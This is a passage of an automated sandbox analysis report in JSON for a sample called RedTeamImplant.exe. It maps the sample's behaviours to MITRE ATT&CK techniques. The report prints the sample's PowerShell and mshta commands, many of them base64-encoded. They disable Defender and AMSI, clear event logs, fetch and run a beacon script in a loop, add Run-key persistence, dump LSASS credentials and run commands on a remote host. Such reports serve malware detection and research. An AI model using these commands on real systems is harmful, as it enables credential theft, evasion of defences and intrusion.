cnVuZGxsMzIgQzpcV2luZG93c1xTeXN0ZW0zMlxjb21zdmNzLmRsbCwgTWluaUR1bXAgKEdldC1Qcm9jZXNzIGxzYXNzKS5JZCBOVUwgZnVsbA==\\\\\""},{"type":"linebreak"},{"type":"text","value":"0"},{"type":"linebreak"},{"type":"text","value":"False(window.close)\"\""},{"type":"process","process_uid":"00000000-00005204","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d21pYyBjb21wdXRlcnN5c3RlbSBnZXQgY2FwdGlvbixkb21haW4sdXNlcm5hbWU7c3lzdGVtaW5mbw==\\\\\""},{"type":"linebreak"},{"type":"text","value":"0"},{"type":"linebreak"},{"type":"text","value":"False(window.close)\"\""},{"type":"process","process_uid":"00000000-00002396","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d21pYyAvbm9kZToiMTkyLjE2OC4xLjEwMCIgcHJvY2VzcyBjYWxsIGNyZWF0ZSAiY21kIC9jIHdob2FtaSA+IFxcXFwxOTIuMTY4LjEuMTAwXFxBRE1JTiRcXHgudHh0Ig==\\\\\""},{"type":"linebreak"},{"type":"text","value":"0"},{"type":"linebreak"},{"type":"text","value":"False(window.close)\"\""},{"type":"process","process_uid":"00000000-00000688","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"mshta.exe\" with commandline \"javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaGJHeGlZV05yU0luQ1NNZkFIZ0FBQUE4RlNESEF3dz09JykpOw=='))(window.close)\""},{"type":"process","process_uid":"00000000-00002204","label":"Show Process"}],"origin":"Monitored Target","attck_id":"T1218.005","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1218/005","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Installation/Persistence","identifier":"api-0","type":6,"relevance":6,"name":"Writes data to a remote process","description":"$87","description_v2":["\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 612)","\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 612)","\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 608)","\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 608)","\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 592)","\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 592)","\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 596)","\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 596)","\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 660)","\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 660)","\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 616)","\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 616)","\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 648)","\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 648)","\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 644)","\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 644)"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"%WINDIR%\\System32\\mshta.exe\" (Handle: 612)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 612)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 608)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 608)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 592)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 592)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 596)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 596)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 660)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 660)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 616)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 616)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 648)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 648)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 644)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 644)"}],"origin":"API Call","attck_id":"T1055","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1055","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"System Security","identifier":"string-847","type":2,"relevance":5,"name":"Able to execute commands through Windows command interpreter (ASP)","description":"$88","description_v2":["$89","$8a"],"description_v3":[{"type":"text","value":"$8b"},{"type":"linebreak"},{"type":"text","value":"$8c"}],"origin":"File/Memory","attck_id":"T1059.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1059/003","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"System Security","identifier":"string-43","type":2,"relevance":7,"name":"References security related windows services","description":"$8d","description_v2":["$8e","\"rface: cannot return value obtained from unexported field or methodcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.wevtutil el|% {wevtutil cl \"$_\"};net stop WinDefend;net stop wscsvc;Set-MpPreference -DisableRealtimeMonitoring $truewhile($true){try{$wc=New-Object Net.WebClient;$wc.Headers.Add('User-Agent','Mozilla/5.0');IEX($wc.DownloadString('http://127.0.0.1:8080/beacon.ps1'))}catch{};Start-Sleep -s 30}reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d \"mshta vbscript:CreateObject(\\\"\\\"WScript.Shell\\\"\\\").Run(\\\"\\\"powershell -w hidden -enc ...\\\"\\\",0)(window.close)\" /f00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899\" (Indicator: \"wscsvc\") in Source: RedTeamImplant.exe","$8f"],"description_v3":[{"type":"text","value":"$90"},{"type":"linebreak"},{"type":"text","value":"\"rface: cannot return value obtained from unexported field or methodcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.wevtutil el|% {wevtutil cl \"$_\"};net stop WinDefend;net stop wscsvc;Set-MpPreference -DisableRealtimeMonitoring $truewhile($true){try{$wc=New-Object Net.WebClient;$wc.Headers.Add('User-Agent','Mozilla/5.0');IEX($wc.DownloadString('http://127.0.0.1:8080/beacon.ps1'))}catch{};Start-Sleep -s 30}reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d \"mshta vbscript:CreateObject(\\\"\\\"WScript.Shell\\\"\\\").Run(\\\"\\\"powershell -w hidden -enc ...\\\"\\\",0)(window.close)\" /f00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899\" (Indicator: \"wscsvc\") in Source: RedTeamImplant.exe"},{"type":"linebreak"},{"type":"text","value":"$91"}],"origin":"File/Memory","attck_id":"T1574.010","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1574/010","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Unusual Characteristics","identifier":"target-14","type":9,"relevance":8,"name":"Spawns a lot of processes","description":"$92","description_v2":["Spawned process \"RedTeamImplant.exe\" (UID: 00000000-00007844)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc JGE9W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSgnU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHMnKTskZj0kYS5HZXRGaWVsZCgnYW1zaUluaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJyk7JGYuU2V0VmFsdWUoJG51bGwsJHRydWUpO1tEaWFnbm9zdGljcy5UcmFjaW5nLkV2ZW50U291cmNlXTo6R2V0U291cmNlcygpfD97JF8uTmFtZS1saWtlJypQb3dlclNoZWxsKid9fCV7JF8uU2V0RXR3UHJvdmlkZXJFbmFibGVkKCRmYWxzZSl9\\\\\"","0","False(window.close)\"\" (UID: 00000000-00007932)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d2hpbGUoJHRydWUpe3RyeXskd2M9TmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50OyR3Yy5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsJ01vemlsbGEvNS4wJyk7SUVYKCR3Yy5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMTo4MDgwL2JlYWNvbi5wczEnKSl9Y2F0Y2h7fTtTdGFydC1TbGVlcCAtcyAzMH0=\\\\\"","0","False(window.close)\"\" (UID: 00000000-00004164)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc cmVnIGFkZCBIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biAvdiBVcGRhdGUgL3QgUkVHX1NaIC9kICJtc2h0YSB2YnNjcmlwdDpDcmVhdGVPYmplY3QoXCJcIldTY3JpcHQuU2hlbGxcIlwiKS5SdW4oXCJcInBvd2Vyc2hlbGwgLXcgaGlkZGVuIC1lbmMgLi4uXCJcIiwwKSh3aW5kb3cuY2xvc2UpIiAvZg==\\\\\"","0","False(window.close)\"\" (UID: 00000000-00008072)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d2V2dHV0aWwgZWx8JSB7d2V2dHV0aWwgY2wgIiRfIn07bmV0IHN0b3AgV2luRGVmZW5kO25ldCBzdG9wIHdzY3N2YztTZXQtTXBQcmVmZXJlbmNlIC1EaXNhYmxlUmVhbHRpbWVNb25pdG9yaW5nICR0cnVl\\\\\"","0","False(window.close)\"\" (UID: 00000000-00009000)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc cnVuZGxsMzIgQzpcV2luZG93c1xTeXN0ZW0zMlxjb21zdmNzLmRsbCwgTWluaUR1bXAgKEdldC1Qcm9jZXNzIGxzYXNzKS5JZCBOVUwgZnVsbA==\\\\\"","0","False(window.close)\"\" (UID: 00000000-00005204)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d21pYyBjb21wdXRlcnN5c3RlbSBnZXQgY2FwdGlvbixkb21haW4sdXNlcm5hbWU7c3lzdGVtaW5mbw==\\\\\"","0","False(window.close)\"\" (UID: 00000000-00002396)","Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d21pYyAvbm9kZToiMTkyLjE2OC4xLjEwMCIgcHJvY2VzcyBjYWxsIGNyZWF0ZSAiY21kIC9jIHdob2FtaSA+IFxcXFwxOTIuMTY4LjEuMTAwXFxBRE1JTiRcXHgudHh0Ig==\\\\\"","0","False(window.close)\"\" (UID: 00000000-00000688)","Spawned process \"mshta.exe\" with commandline \"javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaGJHeGlZV05yU0luQ1NNZkFIZ0FBQUE4RlNESEF3dz09JykpOw=='))(window.close)\" (UID: 00000000-00002204)"],"description_v3":[{"type":"text","value":"Spawned process \"RedTeamImplant.exe\""},{"type":"process","process_uid":"00000000-00007844","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc JGE9W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSgnU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHMnKTskZj0kYS5HZXRGaWVsZCgnYW1zaUluaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJyk7JGYuU2V0VmFsdWUoJG51bGwsJHRydWUpO1tEaWFnbm9zdGljcy5UcmFjaW5nLkV2ZW50U291cmNlXTo6R2V0U291cmNlcygpfD97JF8uTmFtZS1saWtlJypQb3dlclNoZWxsKid9fCV7JF8uU2V0RXR3UHJvdmlkZXJFbmFibGVkKCRmYWxzZSl9\\\\\""},{"type":"linebreak"},{"type":"text","value":"0"},{"type":"linebreak"},{"type":"text","value":"False(window.close)\"\""},{"type":"process","process_uid":"00000000-00007932","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d2hpbGUoJHRydWUpe3RyeXskd2M9TmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50OyR3Yy5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsJ01vemlsbGEvNS4wJyk7SUVYKCR3Yy5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMTo4MDgwL2JlYWNvbi5wczEnKSl9Y2F0Y2h7fTtTdGFydC1TbGVlcCAtcyAzMH0=\\\\\""},{"type":"linebreak"},{"type":"text","value":"0"},{"type":"linebreak"},{"type":"text","value":"False(window.close)\"\""},{"type":"process","process_uid":"00000000-00004164","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc cmVnIGFkZCBIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biAvdiBVcGRhdGUgL3QgUkVHX1NaIC9kICJtc2h0YSB2YnNjcmlwdDpDcmVhdGVPYmplY3QoXCJcIldTY3JpcHQuU2hlbGxcIlwiKS5SdW4oXCJcInBvd2Vyc2hlbGwgLXcgaGlkZGVuIC1lbmMgLi4uXCJcIiwwKSh3aW5kb3cuY2xvc2UpIiAvZg==\\\\\""},{"type":"linebreak"},{"type":"text","value":"0"},{"type":"linebreak"},{"type":"text","value":"False(window.close)\"\""},{"type":"process","process_uid":"00000000-00008072","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d2V2dHV0aWwgZWx8JSB7d2V2dHV0aWwgY2wgIiRfIn07bmV0IHN0b3AgV2luRGVmZW5kO25ldCBzdG9wIHdzY3N2YztTZXQtTXBQcmVmZXJlbmNlIC1EaXNhYmxlUmVhbHRpbWVNb25pdG9yaW5nICR0cnVl\\\\\""},{"type":"linebreak"},{"type":"text","value":"0"},{"type":"linebreak"},{"type":"text","value":"False(window.close)\"\""},{"type":"process","process_uid":"00000000-00009000","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc cnVuZGxsMzIgQzpcV2luZG93c1xTeXN0ZW0zMlxjb21zdmNzLmRsbCwgTWluaUR1bXAgKEdldC1Qcm9jZXNzIGxzYXNzKS5JZCBOVUwgZnVsbA==\\\\\""},{"type":"linebreak"},{"type":"text","value":"0"},{"type":"linebreak"},{"type":"text","value":"False(window.close)\"\""},{"type":"process","process_uid":"00000000-00005204","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d21pYyBjb21wdXRlcnN5c3RlbSBnZXQgY2FwdGlvbixkb21haW4sdXNlcm5hbWU7c3lzdGVtaW5mbw==\\\\\""},{"type":"linebreak"},{"type":"text","value":"0"},{"type":"linebreak"},{"type":"text","value":"False(window.close)\"\""},{"type":"process","process_uid":"00000000-00002396","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d21pYyAvbm9kZToiMTkyLjE2OC4xLjEwMCIgcHJvY2VzcyBjYWxsIGNyZWF0ZSAiY21kIC9jIHdob2FtaSA+IFxcXFwxOTIuMTY4LjEuMTAwXFxBRE1JTiRcXHgudHh0Ig==\\\\\""},{"type":"linebreak"},{"type":"text","value":"0"},{"type":"linebreak"},{"type":"text","value":"False(window.close)\"\""},{"type":"process","process_uid":"00000000-00000688","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mshta.exe\" with commandline \"javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaGJHeGlZV05yU0luQ1NNZkFIZ0FBQUE4RlNESEF3dz09JykpOw=='))(window.close)\""},{"type":"process","process_uid":"00000000-00002204","label":"Show Process"}],"origin":"Monitored Target","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null}],"detonation_parameters":{"action_script":"default_maxantievasion","experimental_anti_evasion":true,"script_logging":true,"allow_sample_tampering":true,"network_mode":"default","custom_system_date_time":null,"custom_commandline":null,"document_password":null,"document_password_exists":false,"environment_variable":null,"dynamic_analysis_time":180,"comment":"#APTBLACKEAGLE"},"falcon_mal_query_results":[],"falcon_intelligence_data":null,"search_tags":[],"execution_mode":"KERNELMODE","monitor_script":"default_maxantievasion.au3","monitor_script_description":"Heavy Anti-Evasion","windows_version_name":"Windows 11","windows_version_edition":"Professional","windows_version_service_pack":null,"windows_version_version":"10.0 (build 22621)","windows_version_bitness":"64","custom_date_time":null,"sandbox_version":"13.2.7","report_generator_version":null,"signature_engine_version":null,"mitre_version":null,"office_analysis":false,"office_version":null,"incidents":[{"name":"Spyware","details":["Found a string that may be used as part of an injection method"]},{"name":"Persistence","details":["Writes data to a remote process","Spawns a lot of processes"]},{"name":"Evasive","details":["References security related windows services"]},{"name":"Exploit","details":["Detected mshta.exe process execution"]}],"icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACKElEQVR4Xu2RyW4TURBFvfEcB8f8AiwRv0UAA3E8ZERhSJiHsLCUFZK/gwAmTQYyAMYMhgASn+FNUVWvX3enKk/uTeRISUtHbnlxz73VicTpc+KfRq0CU/XJoUDuhPzzKPA879Bfggv0+/2hcPwKtFotaDabDL3b/y++/AdnX/xF/kBpGXn+G9mH0jPiF4w9RZ78hLHHRA+Kj3pwYWV/YK4q4KK0TMJQysJA2gukxYffofggROZI4hc4dOUPFBK+8P43OEPc+8qMLnVVjkQVcJ3KLjUrHdIllC5+MdwlOgNzVQEX4Wmt0Eq7ESFyp4N8hsJt5NYnlSOJXSBc2TUsdiPCDgtHWYosfISRm8SeypGoAq5TydMWIiuZQIrM78HI3C4zKFcVcBFdqqQknN9l8rM7PtuQn9lWOZLYBQIhUgikdukOyyy56Q+Qm0IaWypHogq4ThVdmichrbRSFm4ZUJqrb0K2tsFIoUQVcEFL7Vnz03alL2SpEWZr65CtIpPvGZkjiV2AVh5YSiutlIQ+mYoHmQlijZE5ElXA9QlyDSMMlloprsxUCF96Yw3S198ZrrWVUKIKuLDSjH/aQMhSKzTSdPktpK4Sb1SOJH4BEvvSNK0MpG1IoTBdbrOQufIaUpeR8VWVI1EFXJ+ATyukLGahla5Ccpx4BclLBimUqAIuzi9smpXlgyuTLA2FUc7NeCpHErvAUXE8CtSrE/wyDOpVLHD6nPjnPyIPUCMAVciHAAAAAElFTkSuQmCC","visualization":"$93","classification":["44.4% (.EXE) Win64 Executable (generic)","21.3% (.EXE) Win16 NE executable (generic)","8.7% (.ICL) Windows Icons Library (generic)","8.5% (.EXE) OS/2 Executable (generic)","8.4% (.EXE) Generic Win/DOS Executable"],"dns_requests":[],"contacted_hosts":[],"contacted_countries":{"countries":[],"coordinates":[]},"port_infos":[],"extracted_strings":{"all":[{"value":"ISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eltcXV5fYEFCQ0RFRkdISUo=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ISpydW50aW1lLmdjQmdNYXJrV29ya2VyTm9kZVBhZGRlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ISpzdHJ1Y3QgeyBpbiBzdHJpbmc7IG91dCBzdHJpbmcgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ISpzdHJ1Y3QgeyBrZXkgc3RyaW5nOyBlbGVtIGJvb2wgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ISpzdHJ1Y3QgeyBrZXkgdWludDY0OyBlbGVtIGJvb2wgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"IVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLiQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiMjJCQqLjM0NQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiphdG9taWMuUG9pbnRlcltzeW5jLnBvb2xDaGFpbkVsdF0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"IipzdHJ1Y3QgeyBGIHVpbnRwdHI7IFgwIGNoYW4gaW50IH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"IypbXXN0cnVjdCB7IGtleSBzdHJpbmc7IGVsZW0gYm9vbCB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"IypbXXN0cnVjdCB7IGtleSB1aW50NjQ7IGVsZW0gYm9vbCB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"IypmdW5jKGludGVyZmFjZSB7fSwgdWludHB0ciwgaW50NjQp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"IypzdHJ1Y3QgeyBGIHVpbnRwdHI7IFgwICphYmkuVHlwZSB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JCpbOF1zdHJ1Y3QgeyBrZXkgc3RyaW5nOyBlbGVtIGJvb2wgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JCpbOF1zdHJ1Y3QgeyBrZXkgdWludDY0OyBlbGVtIGJvb2wgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JCpmdW5jKHN0cmluZykgKHJlZmxlY3QuTWV0aG9kLCBib29sKQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JCptYXAuZ3JvdXBbaW50ZXJmYWNlIHt9XWludGVyZmFjZSB7fQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JCptYXAuZ3JvdXBbc3RyaW5nXXJ1bnRpbWUubWV0cmljRGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JCpydW50aW1lLmdvcm91dGluZVByb2ZpbGVTdGF0ZUhvbGRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JCpzeXNjYWxsLl9QUk9DX1RIUkVBRF9BVFRSSUJVVEVfTElTVA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JGE9W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSgnU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHMnKTskZj0kYS5HZXRGaWVsZCgnYW1zaUluaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJyk7JGYuU2V0VmFsdWUoJG51bGwsJHRydWUpO1tEaWFnbm9zdGljcy5UcmFjaW5nLkV2ZW50U291cmNlXTo6R2V0U291cmNlcygpfD97JF8uTmFtZS1saWtlJypQb3dlclNoZWxsKid9fCV7JF8uU2V0RXR3UHJvdmlkZXJFbmFibGVkKCRmYWxzZSl9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JSEoQkFEUFJM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JSEoQkFEV0lM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JSEoRVhUUkFN","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JSEoTk9WRVJN","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JSptYXAuZ3JvdXBbcnVudGltZS53aW5DYWxsYmFja0tleV1pbnQ=","type":"Ansi","source":"Memory/File 